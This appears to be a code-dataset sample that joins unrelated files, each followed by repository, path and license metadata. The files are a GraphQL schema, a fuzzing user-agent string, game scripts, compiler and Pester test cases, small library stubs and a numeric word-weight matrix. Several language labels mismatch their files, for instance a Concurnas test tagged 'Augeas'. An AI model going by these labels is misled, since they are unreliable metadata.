{:objects {:BoardGame {:description "A physical or virtual board game." :fields {:game_id {:type (non-null Int)} :name {:type (non-null String)} :rating_summary {:type (non-null :GameRatingSummary) :resolve :BoardGame/rating-summary} :summary {:type String :description "A one-line summary of the game."} :description {:type String :description "A long-form description of the game."} :designers {:type (non-null (list :Designer)) :description "Designers who contributed to the game." :resolve :BoardGame/designers} :min_players {:type Int :description "The minimum number of players the game supports."} :max_players {:type Int :description "The maximum number of players the game supports."} :play_time {:type Int :description "Play time, in minutes, for a typical game."}}} :GameRatingSummary {:description "Summary of ratings for a single game." :fields {:count {:type (non-null Int) :description "Number of ratings provided for the game. Ratings are 1 to 5 stars."} :average {:type (non-null Float) :description "The average value of all ratings, or 0 if never rated."}}} :Member {:description "A member of Clojure Game Geek. Members can rate games." :fields {:member_id {:type (non-null Int)} :member_name {:type (non-null String) :description "Unique name of member."} :ratings {:type (list :GameRating) :description "List of games and ratings provided by this member." :resolve :Member/ratings}}} :GameRating {:description "A member's rating of a particular game." :fields {:game {:type (non-null :BoardGame) :description "The Game rated by the member." :resolve :GameRating/game} :rating {:type (non-null Int) :description "The rating as 1 to 5 stars."}}} :Designer {:description "A person who may have contributed to a board game design." :fields {:designer_id {:type (non-null Int)} :name {:type (non-null String)} :url {:type String :description "Home page URL, if known."} :games {:type (non-null (list :BoardGame)) :description "Games designed by this designer." :resolve :Designer/games}}}} :queries {:game_by_id {:type :BoardGame :description "Select a BoardGame by its unique id, if it exists." :args {:id {:type (non-null Int)}} :resolve :query/game-by-id} :member_by_id {:type :Member :description "Select a ClojureGameGeek Member by their unique id, if it exists." :args {:id {:type (non-null Int)}} :resolve :query/member-by-id}} :mutations {:rate_game {:type :BoardGame :description "Establishes a rating of a board game, by a Member. On success (the game and member both exist), selects the BoardGame. Otherwise, selects nil and an error." :args {:game_id {:type (non-null Int)} :member_id {:type (non-null Int)} :rating {:type (non-null Int) :description "Game rating as a number between 1 and 5."}} :resolve :mutation/rate-game}}}
edn
5
hagenek/lacinia
docs/_examples/tutorial/cgg-schema-6.edn
[ "Apache-2.0" ]
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 EVE-IGB EVE-IGB
Text
0
5tr1x/SecLists
Fuzzing/User-Agents/software-name/eve-in-game-browser.txt
[ "MIT" ]
#include "script_component.hpp" /* Name: TFAR_fnc_calcTerrainInterception Author: NKey Calculates the terrain interception between the player and the passed unit. Arguments: 0: Unit to calculate terrain interception with. <OBJECT> Return Value: Terrain Interception <SCALAR> Example: _interception = soldier2 call TFAR_fnc_calcTerrainInterception; Public: No */ private _result = 0; private _p1 = eyePos TFAR_currentUnit; private _p2 = eyePos _this; if (terrainIntersectASL[_p1, _p2]) then { private _l = 10.0; private _r = 250.0; private _m = 100.0; private _middle = [((_p1 select 0) + (_p2 select 0)) / 2.0, ((_p1 select 1) + (_p2 select 1)) / 2.0, ((_p1 select 2) + (_p2 select 2)) / 2.0]; private _base = _middle select 2; while {(_r - _l) > 10} do { _middle set[2, _base + _m]; if ((!terrainIntersectASL [ _p1, _middle ]) and {!terrainIntersectASL [ _p2, _middle ]}) then { _r = _m; } else { _l = _m; }; _m = (_l + _r) / 2.0; }; _result = _m; }; _result
SQF
5
MrDj200/task-force-arma-3-radio
addons/core/functions/fnc_calcTerrainInterception.sqf
[ "RSA-MD" ]
//##69. Lambda - creation def 1 xxx (int) int = 69 //ensure we force the correct def assignment xxx2 (int) int = def (x int) int { return x+3; } xxx3 (int) int = 69 ~~~~~ //##69. Lambda - creation def 2 //prims x (double) double = def (x float) float { return x+3; } //OK x2 (double) double = def (x boolean) boolean { return x; }//FAIL, wrong types ~~~~~ //##69. Lambda - creation def 3 - ensure subbj correctly //objects x (Object) void = def (x String) void { } //OK, as subtype y (String) void = def (x Object) void { } //FAIL, not subtype // open class A{} class B extends A{} z1 (A) void = def (a A) void {}//OK z2 (B) void = def (a B) void {}//OK z3 (A) void = def (a B) void {}//OK z4 (B) void = def (a A) void {}//FAIL ~~~~~ //##69. Lambda - creation def 4 - arrays, as args, a (int[2]) int[6] = def (a int[2]) int[6] { return null; } //OK a2 (int[2]) int[] = def (a int[1]) int[] { return null; }//FAIL as array levels dont mathc a3 (int[2]) int[6] = def (a int[2]) int[5] { return null; }//FAIL as array levels dont mathc ~~~~~ //##69. Lambda - creation def 5 - arrays of funcs -> wow! some1 lambda[2] = new lambda[2,2] some lambda[] = [def (x int) double { return x;} def (x int) int { return x;} def (x float) int { return 55;} ] some3 ((float) double) [] = [def (x int) double { return x;} def (x int) int { return x;} def (x float) int { return 55;} ] stuff float[] = [ 1 2 3 5.4f] ~~~~~ //##69. Lambda - creation def 5.2 - generics parameters open class Gen<X>(~x X){} class Chil(f (double) float ) extends Gen< (double) float >(f) {} child = new Chil( def ( x double) float { return 4.5f;}); ff (double) float = child.getX(); ~~~~~ //##69. Lambda - creation def 6 - lambda catch all a lambda = def (a int) int { return a**a as int; } b = a as lambda c (int) double = b as (int) int z = b as Object z2 = (b as Object) as (int) double y = z as lambda x = c as Function1<Integer, Double> xxx="" + c(8) ~~~~~ //##69. Lambda - creation def 7 - object is master of all d Object = def (a int) int { return a**a as int } //TODO: this needs to be a bit better fleshed out ~~~~~ //##69. Lambda - currying 1 - curry existing lambda masterNoArg2 = def () doulble { return 4.3; }//FAIL - CANNOT RESOLVE NAME fail2 = def (iint) double { return 4.3; } //FAIL - CANNOT RESOLVE NAME masterSimple = def (a int, b int, c int) int { return a+b+c; } child (int, int) int = masterSimple&(? int, 66,? int) child2 () int = child&(2,3) childweirdo (int, int, int) int = masterSimple&(? int, ? int, ? int) childweirdo2 (int, int, int) Object = masterSimple&(? int, ? int, ? int) childFail (int, int, int) Object = masterSimple&(? int, ? int, ? Object) //FAIL wrong type as well childFail2 (int, int, String) Object = masterSimple&(? int, ? int, ? int) //FAIL wrong type masterNoArg = def () double { return 4.3; } noChilldArg () double = masterNoArg&() noChilldArgarrFAIL () double [] = [masterNoArg&() masterNoArg&() masterNoArg&()] //wrong syntax! this would be an array of funcfers which themslves return double arrays noChilldArgarr (() double) [] = [masterNoArg&() masterNoArg&() masterNoArg&()] /* TODO: dd double = 0.0 for( funcref in noChilldArgarr) { dd += funcref() } */ ~~~~~ //##69. Lambda - currying 11. - curry chain masterchain (int, int, int) int = def (x int, y int, z int) int { return x+y+z; } child () int = masterchain&(1,? int, ? int)&(2,? int)&(3) ~~~~~ //##69. Lambda - currying 2 - curry existing function - simple case def existing(x int) int { return x **x as int; } child () int = existing&(55) ~~~~~ //##69. Lambda - currying 2.1 - simple case masterchain (int, int, int) int = def (x int, y int, z int) int { return x+y+z; } child () int = masterchain&(1,? int,? int)&(2,? int)&(3) innaproperiate int =77; childFail () int = innaproperiate&(1,? int,? int)&(2,? int)&(3) //FAIL //find function def masterchain2(x int, y int, z int) int { return x+y+z; } child4 () int = masterchain2&(1,? int, ? int)&(2,? int)&(3) //find variable, then look at function [in search block unit] ~~~~~ //##69. Lambda - currying 2.2 - avoid masking def mask() boolean { return false; } mask = def () int { return 55; }//FAIL variable masks funcdef, but this itself gennerates error child5 () int = mask&() ~~~~~ //##69. Lambda - currying 2.3 - search upper nest /* ensure search order is respected: arg, then funcdef field, then method | superclass field, then method global field, then method imported filed then function */ masterchain (int, int, int) int = def (x int, y int, z int) int { return x+y+z; } { child () int = masterchain&(1,? int, ? int)&(2,? int)&(3) } def top(x int) double { return x+6.0; } def ff( top (int) int ) { res int = top(6)//takes arg } class HasTop { def top(x int) boolean { return false; } def ff( ) { res boolean = top(6) //takes class def } } class FieldAndMeth { ~ffo ((int) boolean)?; def ffo(s int) int { return s+s; } //masks the method ref def main(str String[]) { res boolean = ffo??(5); //field first then method } } ~~~~~ //##69. Lambda - currying 2.4 - search upper nest layered class Nestor{ ~foo ((int) int)?; class Neste { def doing() { got int = foo??&(? int)(5) } } } ~~~~~ //##69. Lambda - currying 3 - curry existing method on object s = ""; funcRef (float) String = s.valueOf&(? float) res String = funcRef(5.6f) ~~~~~ //##69. Lambda - currying 4 - curry existing method on class open class Moi { def foo(x int) double { return x+6.0 } def other() (int) double { exp (int) double = this.foo&(? int) return foo&(? int) } } class BadKid { def other2() (int) double { return foo&(? int); } } class Kid extends Moi { def other2() (int) double { exp (int) double = this.foo&(? int) exp2 (int) double = super.foo&(? int) return foo&(? int); } } ~~~~~ //##69. Lambda - currying 5 - setting class members etc bob lambda class ZZ(~x (int) String) { } ref = def (x int) String { return "hi"+x;} zz = new ZZ(ref); zz.x = def (x int) String { return "hi"+x;} zz.x = ref zz.setX( def (x int) String { return "hi"+x;} ) found (int) String = zz.getX() found2 (int) String = zz.x bob = ref ~~~~~ //##69. Lambda - currying 6 - generics class Cls<X> {//i think this is enough, coloring clearly works ~ss ((X, int) X)?; ~y X?; } my = new Cls<String>() my.ss = def (xx String, x int) String { return xx + "" + x; } //and make sure the type can be this as well class Gen<X>(~x X) {} mine = new Gen<(int) String>(def (s int) String { return ""+s;} ) ~~~~~ //##69. Lambda - erasure 1 - simple class My { def x(arg (int) int) { } def x(arg (double) int) { }//FAIL due to same erasure def x(arg (double, double) int) { }//but this guy is ok //also constructoors this(arg (int) int) { } this(arg (double) int) { }//FAIL due to same erasure this(arg (double, double) int) { }//but this guy is ok } ~~~~~ //##69. Lambda - erasure 2 - simple overrides open class My { def x(arg (int) int) { } } class BadChild extends My { def x(arg (int) int) { }//FAIL, needs override keyword } class GoodChild extends My { override def x(arg (int) int) { }//OK } ~~~~~ //##69. Lambda - erasure 3 - simple abstract open class My { def x(arg (int) int) void } class GoodChild extends My { def x(arg (int) int) { }//FAIL, needs override keyword } class BadChild extends My { override def x(arg (int) int) { }//FAIL, because abstract } ~~~~~ //##69. Lambda - erasure 3 - super has thing already open class My { def x(arg (int) int) { } def x2(arg int) { } } class Child2 extends My { def x(arg (double) int) { }//FAIL, erasure problems } class Child3OK extends My { def x(arg (double, int) int) { }//FINE } class Child3OKAlso extends My { def x2(arg (int) int) { }//FINE also } ~~~~~ //##69. Lambda - generics mist - amazing this works open class Gen<X> {} open class Par { def x(arg Gen<(int) int>) { } } class Child3 extends Par { override def x(arg Gen<(int) int>) { } } ~~~~~ //##69. Lambda - equals is always false - should this warn? x = def (x int) int {return x+2; } y = def (x int) int {return x+2; } no boolean= x==y //JPT: warning? no2 boolean= x &==y //JPT: also warn ~~~~~ //##69. Lambda - cast x = def (x int) int {return x+2; } y = x as (int, double) int ///FAILS - omg i didnt write any code for this it just works! yok = x as (int) int ///fine args match yok2 = x as (int) Object ///fine args match as well yok2 = x as (int) String ///FAIL - thisis better than scala nice = (new Object()) as (int) String //fine! - object could be a functype nice = (new String()) as (int) String //FAIL - no way string could be this! ~~~~~ //##69. Lambda - is isnot x = def (x int) int {return x+2; } y = x is (int, double) int ///FAILS - omg i didnt write any code for this it just works! yok = x is (int) int ///fine args match yok2 = x is (int) Object ///fine args match as well yok2 = x is (int) String ///FAIL - thisis better than scala nice = (new Object()) is (int) String //fine! - object could be a functype nice = (new String()) is (int) String //FAIL - no way string could be this! ~~~~~ //##69. Lambda - example funcref = def () int { return 4; } dd double = 0.0 for( funcrefola in [funcref]) { dd += funcrefola() } ~~~~~ //##69. Lambda - FunctionN type... a Function2<Integer, Integer, String>? = null //can set funcref to null and these are commutable.... res String =a??(2,3)// translate the function2 into a FuncType a = def (a int, b int) String { return ""; } res =a??(2,3)// translate the function2 into a FuncType voidfunc Function3<String, String, String, Void>? = null voidfunc = def (a String, b String, c String) void {} sth () void = (new Object()) as Function0<Void> //interchangable, also Void return type oops Function1<Void, Void>? = null //FAIL - this is not permitted, void is not an input parameter //nested gen types in Function2 nested Function2<Integer, (int) int, String> = def (x int, y (int) int) String {return "" } ~~~~~ //##69. Lambda - of a inner function... def iamthemaster() (int) int { scale = 3 def iamthemaster(x int, y int) int { return x*y * scale; } return iamthemaster&(6,? int)//refers to localinstance } ~~~~~ //##69. Lambda - misc voids def a() (int) int { return def (x int) void { return x+ 2 } ; } ~~~~~ //##69. Lambda - call externally a function //JPT: i had to do some mega hacking here, it's ugly sorry class JJ { public xxx = def (x int) int { return x+1; } //TODO: lambda is not getting picked up //def aa() int {return 7; }//wrong } (new JJ()).xxx(4)//problem, cannot call lambda externally... ~~~~~ //##69. Lambda - make sure both maskings are present class Gumpy1{ def xxx() int { return 6; } xxx = def () int { return 6; } } class Gumpy2{ xxx = def () int { return 6; } def xxx() int { return 6; } } ~~~~~ //##69. if defo exception, then u can ignore that fact that it doesnt return properly def getBytecodeType() String{ throw new RuntimeException("getBytecodeType not callable"); } //JPT: you should add a realy complex map filter type etc test here - also do the bytecode for it ~~~~~ //##70. rhs of dot operator is ok class Child{ def aFun() int { return 66; } def funRefRet() () int { return aFun&() } } def doings() String { child = new Child() return "" + child.funRefRet()() }
Augeas
3
michaeldesu/Concurnas
tests/com/concurnas/compiler/scopeAndType/lambda.conc.aug
[ "MIT" ]
# Copyright (c) Microsoft Corporation. # Licensed under the MIT License. # Functional tests to verify that native executables throw errors (non-terminating and terminating) appropriately # when $PSNativeCommandUseErrorActionPreference is $true Describe 'Native command error handling tests' -Tags 'CI' { BeforeAll { $originalDefaultParameterValues = $PSDefaultParameterValues.Clone() if (-not [ExperimentalFeature]::IsEnabled('PSNativeCommandErrorActionPreference')) { $PSDefaultParameterValues['It:Skip'] = $true return } $exeName = $IsWindows ? 'testexe.exe' : 'testexe' $exePath = @(Get-Command $exeName -Type Application)[0].Path $errorActionPrefTestCases = @( @{ ErrorActionPref = 'Stop' } @{ ErrorActionPref = 'Continue' } @{ ErrorActionPref = 'SilentlyContinue' } @{ ErrorActionPref = 'Ignore' } ) } AfterAll { $global:PSDefaultParameterValues = $originalDefaultParameterValues } BeforeEach { $Error.Clear() } Context 'PSNativeCommandUseErrorActionPreference is $true' { BeforeEach { $PSNativeCommandUseErrorActionPreference = $true } It 'Non-zero exit code throws teminating error for $ErrorActionPreference = ''Stop''' { $ErrorActionPreference = 'Stop' { testexe -returncode 1 } | Should -Throw -ErrorId 'ProgramExitedWithNonZeroCode' $error.Count | Should -Be 1 $error[0].FullyQualifiedErrorId | Should -BeExactly 'ProgramExitedWithNonZeroCode' $error[0].TargetObject | Should -BeExactly $exePath } It 'Non-zero exit code outputs a non-teminating error for $ErrorActionPreference = ''Continue''' { $ErrorActionPreference = 'Continue' $stderr = testexe -returncode 1 2>&1 $error[0].FullyQualifiedErrorId | Should -BeExactly 'ProgramExitedWithNonZeroCode' $error[0].TargetObject | Should -BeExactly $exePath $stderr[1].Exception.Message | Should -BeExactly "Program `"$exeName`" ended with non-zero exit code: 1." } It "Non-boolean value should not cause type casting error when the native command exited with non-zero code" { $ErrorActionPreference = 'Continue' $PSNativeCommandUseErrorActionPreference = 'Yeah' $PSNativeCommandUseErrorActionPreference | Should -BeExactly 'Yeah' $stderr = testexe -returncode 1 2>&1 $error[0].FullyQualifiedErrorId | Should -BeExactly 'ProgramExitedWithNonZeroCode' $error[0].TargetObject | Should -BeExactly $exePath $stderr[1].Exception.Message | Should -BeExactly "Program `"$exeName`" ended with non-zero exit code: 1." } It 'Non-zero exit code generates a non-teminating error for $ErrorActionPreference = ''SilentlyContinue''' { $ErrorActionPreference = 'SilentlyContinue' testexe -returncode 1 > $null $error.Count | Should -Be 1 $error[0].FullyQualifiedErrorId | Should -BeExactly 'ProgramExitedWithNonZeroCode' $error[0].TargetObject | Should -BeExactly $exePath } It 'Non-zero exit code does not generates an error record for $ErrorActionPreference = ''Ignore''' { $ErrorActionPreference = 'Ignore' testexe -returncode 1 > $null $LASTEXITCODE | Should -Be 1 $error.Count | Should -Be 0 } It 'Zero exit code generates no error for $ErrorActionPreference = ''<ErrorActionPref>''' -TestCases $errorActionPrefTestCases { param($ErrorActionPref) $ErrorActionPreference = $ErrorActionPref $output = testexe -returncode 0 $output | Should -BeExactly '0' $LASTEXITCODE | Should -Be 0 $Error.Count | Should -Be 0 } It 'Works as expected with a try/catch block when $ErrorActionPreference = ''<ErrorActionPref>''' -TestCase $errorActionPrefTestCases { param($ErrorActionPref) $ErrorActionPreference = $ErrorActionPref $threw = $false $continued = $false $hitFinally = $false try { testexe -returncode 17 2>&1 > $null $continued = $true } catch { $threw = $true $exception = $_.Exception } finally { $hitFinally = $true } $hitFinally | Should -BeTrue $continued | Should -Be ($ErrorActionPreference -ne 'Stop') $threw | Should -Be ($ErrorActionPreference -eq 'Stop') if ($threw) { $exception.Path | Should -BeExactly (Get-Command -Name testexe -CommandType Application).Path $exception.ExitCode | Should -Be $LASTEXITCODE $exception.ProcessId | Should -BeGreaterThan 0 } } It 'Works with trap when $ErrorActionPreference = ''<ErrorActionPref>''' -TestCases $errorActionPrefTestCases { param($ErrorActionPref) $ErrorActionPreference = $ErrorActionPref trap { $hitTrap = $true $exception = $_ continue } $hitTrap = $false # Expect this to be trapped testexe -returncode 17 2>&1 > $null if ($ErrorActionPreference -eq 'Stop') { $hitTrap | Should -BeTrue $exception.ExitCode | Should -Be $LASTEXITCODE $exception.Path | Should -BeExactly (Get-Command -Name testexe -CommandType Application).Path $exception.ProcessId | Should -BeGreaterThan 0 } else { $hitTrap | Should -BeFalse $exception | Should -BeNullOrEmpty } } } Context 'PSNativeCommandUseErrorActionPreference is $false' { BeforeEach { $PSNativeCommandUseErrorActionPreference = $false } It 'Non-zero exit code generates no error for $ErrorActionPreference = ''<ErrorActionPref>''' -TestCases $errorActionPrefTestCases { param($ErrorActionPref) $ErrorActionPreference = $ErrorActionPref if ($ErrorActionPref -eq 'Stop') { { testexe -returncode 1 } | Should -Not -Throw } else { testexe -returncode 1 > $null } $LASTEXITCODE | Should -Be 1 $Error.Count | Should -Be 0 } It "Non-boolean value should not cause type casting error when the native command exited with non-zero code" { $ErrorActionPreference = 'Continue' $PSNativeCommandUseErrorActionPreference = 0 $PSNativeCommandUseErrorActionPreference | Should -Be 0 $PSNativeCommandUseErrorActionPreference | Should -BeOfType 'System.Int32' testexe -returncode 1 > $null $LASTEXITCODE | Should -Be 1 $Error.Count | Should -Be 0 } } }
PowerShell
5
rdtechie/PowerShell
test/powershell/engine/Basic/NativeCommandErrorHandling.Tests.ps1
[ "MIT" ]
packages=Lista över CPAN-Perl-moduler,0 cpan=Grund-URL för CPAN-moduler,0
SystemVerilog
0
GalaxyGFX/webmin
cpan/config.info.sv
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
// file HelloWorld.x10 public class HelloWorld { public static def main(args:Rail[String]) { x10.io.Console.OUT.println("Hello, World"); } }
X10
4
RalfGuder/LaTeX-examples
documents/Programmierparadigmen/scripts/x10/HelloWorld.x10
[ "MIT" ]
Module: dylan-user define library lvl10 use common-dylan; use io; end library lvl10; define module lvl10 use common-dylan; use format-out; use standard-io; use streams; end module lvl10;
Dylan
3
Ashindustry007/competitive-programming
programming-challenges/badoo/badoo-challenge-2016/lvl10-library.dylan
[ "WTFPL" ]
script = require './scriptAssertions' shouldOutput = script.shouldOutput shouldThrow = script.shouldThrow describe 'try' describe 'expression' context "when no exceptions are thrown" it "returns body of try" 'a = try "good" catch (e) "bad" print (a)' shouldOutput "'good'" context "when exceptions are thrown" it "returns body of catch passing the error" 'a = try @throw @new Error "bad" catch (e) e.message print (a)' shouldOutput "'bad'" describe 'statement' context "when no exceptions are thrown" it "doesn't execute the catch body" 'try print "good" catch (e) print "bad"' shouldOutput "'good'" context "when exceptions are thrown" it "doesn't execute the rest of the try body and executes the catch body passing the error" 'try @throw @new Error "uh oh" print "good" catch (e) print (e.message)' shouldOutput "'uh oh'" describe 'promises' context "when promise resolution in the body doesn't throw an exception" context "and there isn't a finally" it "doesn't run the catch and returns the body expression" 'result = try p ()! print "good" "result" catch (ex) p()! print "bad" print (result)' shouldOutput "'good' 'result'" context "and there is a finally" it "doesn't run the catch, and does run the finally" 'result = try p ()! print "good" "result" catch (ex) p()! print "bad" finally p()! print "finally" print (result)' shouldOutput "'good' 'finally' 'result'" context "when promise resolution in the body does throw an exception" context "and there isn't a finally" it "runs the catch clause and returns the catch clause expression" 'promiseError () = p ()! @throw @new Error "uh oh" result = try promiseError ()! print "good" catch (ex) p()! print (ex.message) "result" print (result)' shouldOutput "'uh oh' 'result'" it "when it throws a non-promise exception" 'promiseError () = @throw @new Error "uh oh" result = try promiseError ()! print "good" catch (ex) p()! print (ex.message) "result" print (result)' shouldOutput "'uh oh' 'result'" context "and there is a finally" it "runs the catch clause and returns the catch clause expression" 'promiseError () = p ()! @throw @new Error "uh oh" result = try promiseError ()! print "good" catch (ex) p()! print (ex.message) "result" finally p()! print "finally" print (result)' shouldOutput "'uh oh' 'finally' 'result'" context "and there is a finally, but no catch" it "runs the finally clause and continues to throw the exception" 'promiseError () = p ()! @throw @new Error "uh oh" result = try try promiseError ()! print "good" finally p()! print "finally" catch (e) print "outer catch" "result" print (result)' shouldOutput "'finally' 'outer catch' 'result'" context 'when the finally clause throws an exception' it "runs the finally clause and throws the finally clause exception" 'promiseError (name) = p ()! @throw @new Error (name) result = try try promiseError "body"! print "good" finally p()! print "finally" promiseError "finally"! print "finally finished" catch (e) print "outer catch: #(e.message)" "result" print (result)' shouldOutput "'finally' 'outer catch: finally' 'result'"
PogoScript
4
featurist/pogoscript
test/tryExpressionSpec.pogo
[ "BSD-2-Clause" ]
// // Copyright (c) 2019-2021 Ryujinx // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. // using System.Runtime.InteropServices; namespace Ryujinx.Audio.Common { /// <summary> /// Audio user input configuration. /// </summary> [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct AudioInputConfiguration { /// <summary> /// The target sample rate of the user. /// </summary> /// <remarks>Only 48000Hz is considered valid, other sample rates will be refused.</remarks> public uint SampleRate; /// <summary> /// The target channel count of the user. /// </summary> /// <remarks>Only Stereo and Surround are considered valid, other configurations will be refused.</remarks> /// <remarks>Not used in audin.</remarks> public ushort ChannelCount; /// <summary> /// Reserved/unused. /// </summary> private ushort _reserved; } }
C#
4
BSoDGamingYT/Ryujinx
Ryujinx.Audio/Common/AudioInputConfiguration.cs
[ "MIT" ]
use 2.2942168433235288 0.0 1.3779261114493739 1.8887517352153647 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 1.6010696627635836 0.0 0.0 0.0 0.0 0.0 0.0 2.9873640238834742 0.0 0.0 0.0 0.0 fire 0.0 0.68477893088942876 0.17395330712343815 0.68477893088942876 0.0 0.0 0.17395330712343815 0.0 0.17395330712343815 0.17395330712343815 0.3970968584376478 0.0 0.0 0.68477893088942876 1.7833912195575383 0.0 0.68477893088942876 0.0 1.0902440389975931 1.7833912195575383 0.0 0.0 1.0902440389975931 0.0 1.0902440389975931 1.7833912195575383 0.0 0.68477893088942876 0.0 0.0 0.0 1.7833912195575383 1.7833912195575383 cause 0.0 2.2942168433235288 1.7833912195575383 0.0 0.7537718023763802 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 investigate 0.0 0.0 0.0 0.0 1.4469189829363254 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 charge 0.0 0.0 0.0 0.0 0.41729956575516702 2.1400661634962708 0.53062825106217038 0.0 0.0 1.4469189829363254 0.0 0.0 1.2237754316221157 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 arson 0.0 0.0 0.0 0.0 1.041453874828161 0.0 0.97246100334120955 0.0 0.0 0.0 0.0 0.0 1.6656081839011549 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 tackle 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.2942168433235288 0.0 0.0 0.0 2.6996819514316934 0.0 0.0 0.0 2.2942168433235288 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 identify 2.6996819514316934 0.0 1.7833912195575383 0.0 0.06062462181643484 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.006534770871748 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 work 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.4765384001174837 0.0 2.6996819514316934 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 fight 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.5818989157753101 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.5818989157753101 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 blaze 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.9873640238834742 0.0 0.0 0.0 2.5818989157753101 2.5818989157753101 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 suspicion 0.0 0.0 0.0 0.0 0.06062462181643484 0.0 1.7833912195575383 0.0 0.0 1.0902440389975931 0.0 0.0 1.7833912195575383 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 investigation 0.0 1.8887517352153647 1.3779261114493739 0.0 0.34830669426821564 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.2942168433235288 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 assess 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.0710732920093196 0.0 2.2942168433235288 0.0 0.0 2.5818989157753101 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 damage 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 1.5602476682433288 0.0 1.7833912195575383 0.0 0.0 2.0710732920093196 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.4765384001174837 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 alarm 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 3.6805112044434196 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 late 0.0 0.0 0.0 0.0 1.4469189829363254 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 deny 0.0 0.0 0.0 0.0 0.34830669426821564 0.0 0.0 0.0 0.0 2.0710732920093196 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 incident 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.6996819514316934 0.0 0.0 0.0 0.0 0.0 3.3928291319916388 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 contain 0.0 0.0 0.0 2.9873640238834742 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 3.3928291319916388 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 call_in 0.0 0.0 0.0 0.0 0.0 0.0 0.0 1.8887517352153647 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.2942168433235288 0.0 0.0 2.9873640238834742 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 out 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 4.0859763125515842 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 catch 0.0 0.0 0.0 0.0 1.4469189829363254 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 follow 0.0 0.0 0.0 0.0 1.041453874828161 0.0 2.0710732920093196 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 